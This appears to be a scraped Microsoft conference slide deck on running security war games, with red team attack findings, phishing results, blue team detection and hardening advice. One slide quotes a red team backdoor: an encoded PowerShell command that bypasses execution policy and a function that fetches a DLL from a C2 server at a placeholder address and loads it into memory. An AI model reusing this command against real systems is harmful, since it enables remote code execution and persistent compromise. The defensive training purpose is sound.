Security War Games
-
Upload
seniorstoryteller -
Category
Technology
-
view
561 -
download
3
Transcript of Security War Games
Sam GuckenheimerMicrosoft
@samguckenheimer .
Security War Games
photo: Maryam Rahmania/UPI. http://www.readingthepictures.org/2011/10/war-games/
Whe
re I
Wor
k….
2
Visual Studio Team Services is SaaS hosted on Azure
“FUNDAMENTALLY, IF SOMEBODY WANTS TO GET IN, THEY'RE GETTING IN…ACCEPT THAT.
WHAT WE TELL CLIENTS IS: NUMBER ONE, YOU'RE IN THE FIGHT, WHETHER YOU THOUGHT YOU WERE OR NOT. NUMBER TWO,
YOU ALMOST CERTAINLY ARE PENETRATED. ”Michael HaydenFormer Director of NSA & CIA
Min
dset
Shi
ft: A
ssum
e Br
each
3
Red
Team
vs.
Blue
Team
4
Double blind test Full disclosure at or near end
vs.
Share tactics & lessons learned
Continued evolution
War
gam
es
5
Exercise ability to respond Like a fire drill vs. a real fire Standardized operating
procedures & improve response
Reduce Mean Time ToDetection (MTTD)
Reduce Mean Time To Recovery (MTTR)
Example scenarios Service compromise Inside attacker Remote code execution Malware outbreak Customer data
compromised Denial of service
Procedures Attack scenario Incident response process Post-mortem
Red
Team
ing
6
Model emerging threats & use blended threats
Pivot laterally & penetrate deeper
Exfiltrate & leverage compromised data
Escape & Evade / Persistence
Measures Time to Compromise (MTTC) / Pwnage (MTTP)
Highlight security monitoring & recovery
gaps
Improves incident response tools & process
Prove need for Assume
Breach
Enumerate business risks
Justify resources, priorities, & investment needs
Model real-world attacks
Identify gaps in security story Demonstrable impact
Blue
Team
ing
7
Detect attack & penetration (MTTD)
Respond & recover to
attack & penetration (MTTR)
Practiced incident response
Produces actionable intelligence
Full visibility into actual conditions within environment
Data analysis & forensics for attack & breach indicators
Accurately assesses real- world attacks
Identifies gaps & investment needs
Focus on slowing down attackers & speeding recovery
Hardening that prevents future attacks
Exercises ability to detect & respond
Enhances situational awareness
Measures readiness& impact
Assu
me
Brea
ch E
xecu
tion
8
Wargame
exercises
Blueteamin
g
Redteamin
g
Monitor emerging threats
Executepost
breachInsider attack
simulation
Red Team Examples
Recon Delivery Foothold Persist Move Elevate Exfiltrate
What does an unprotected file share look like?
Dolor sit amet
Unp
rote
cted
file
shar
es
First Campaign• Team member’s workstation• Contained secrets for• ●●● PROD• ●●● PROD
• Including:• RDP access to VMs• Config DB passwords• etc.
Second Campaign• Unprotected file share• \\ ●●● \ ●●● \passwords.txt• Contained passwords for CORP
accounts• ●●● \ ●●● • ●●●● \ ●●●● • (just “QA” or “test” or “internal”
accounts)
Unp
rote
cted
file
shar
es
Who is an administrator on your workstation or laptop?
Loca
l adm
inist
rato
r acc
ount
s
(Use compmgmt.msc to invoke the tool)Or from the cmd line: net localgroup administrators
Scanned for• What machines are on Corpnet• Find admin on each machine
• Log onto their machines and:• Steal product source code if present on
disk• Install malware on their machines (like
a keylogger)• Use malware to steal passwords (before
Windows10)
• Use passwords or pass-the-hash to move laterally• Before multi-factor authentication
across domains• Find password reuse or
misconfigured groups on PROD
MICROSOFT CONFIDENTIAL
Phishing
Lumia 1820 Offer
Phish
ing
attac
k
• Total population of 524 people.• 220 people clicked on signup button. 37
people clicked on other phishing emails • Only 11 people reported to CSIRP
Spea
r-phi
shin
g att
ack
Foot
note
: Offi
ce 3
65 N
ow One click to report email as suspicious
Blue Team Examples
Gather Detect Alert Triage Context Plan Execute
MICROSOFT CONFIDENTIAL
Com
mun
icati
ons Unlike the Red Team who
shared a room – the Blue Team were distributed across multiple time zones.
As an experiment, a dedicated private Yammer group was created to share information and coordinate efforts.
Benefits
• Focused: Discussions not intermingled with unrelated email
• Threaded conversations
• Central (and secured) file sharing
• Real-time notifications
Trac
king
Atta
ck P
rogr
essio
n
Disc
over
ing
Back
door
C2
Serv
ers Red Team have established
persistent remote access to compromised servers
powershell.exe -ExecutionPolicy bypass -EncodedCommand JABkAGEAdABhACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AGQAWQBGAEYAeABKAFMAZwB1ADkAeQBPAGsASgBEAEUAeQBrAGsASwBKAEIAZQA3AHgAQQBmAEYAagBNAEUAOQAAAIAAgACAAIAAgACQAcwByACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQ..etc
Blue Team discovered evidence of backdoor malware communicating to Command & Control (C2) servers on https://<ipaddress>:4433
Which decodes to a PowerShell function similar to the following:
Function Get-SecureFile {<#.SYNOPSISGets a file securely.EXAMPLEGet-SecureFile -ServerAddress "http://123.123.123.123:30000" –File "ZombieBytes.dll"#>...[Byte[]]$Bytes = Get-SecureFile -ServerAddress "https://<ipaddress>:4433" -CertThumbprint "CA81997XX" -File "FootInZombie.dll"[Reflection.Assembly]::Load($Bytes)[FootInZombie.Program]::Main($Args)
• Use Just-in-time administration (PowerShell JustEnoughAdmin)• Use Multi-Factor Authentication
even across internal domains• Manage & Rotate Secrets
(e.g. Azure KeyVault)• Upgrade to latest OS versions (e.g.
Windows 10) & patch diligently• Use DevOps Release Pipeline and
cadence to contain damage• Destroy compromised instances• Deploy containment and fix• Do not tip your hand to the attackers
• Segregate domains and do not dual-home servers• Use different passwords if you have
user accounts in more than one domain
• Limit use of open file shares in general; instead add just the users who need access• Absolutely do not put passwords on
open file shares
• Only you should be administrator on your laptop or workstation• Think before blindly clicking on
links in e-mail, and check the links to make sure they are legitimate
From
the
Retr
ospe
cties
Run
War
Gam
es in
ord
er to
21
Establish security baselines Time to detect Time to contain Time to fix Time to recover
Framework to inventory damageIdentify reactive security investmentsUpdate response plansIf you measure MTTR in WEEKS/MONTHS/YEARS instead of hours/days, LEARN and IMPROVE!Acknowledgements: John Walton (Office 365, Azure)
Grant Holliday, Chandra Achalla (VSTS)
Thank You@samguckenheimer
http: //aka.ms/devopshttp: //visualstudio.com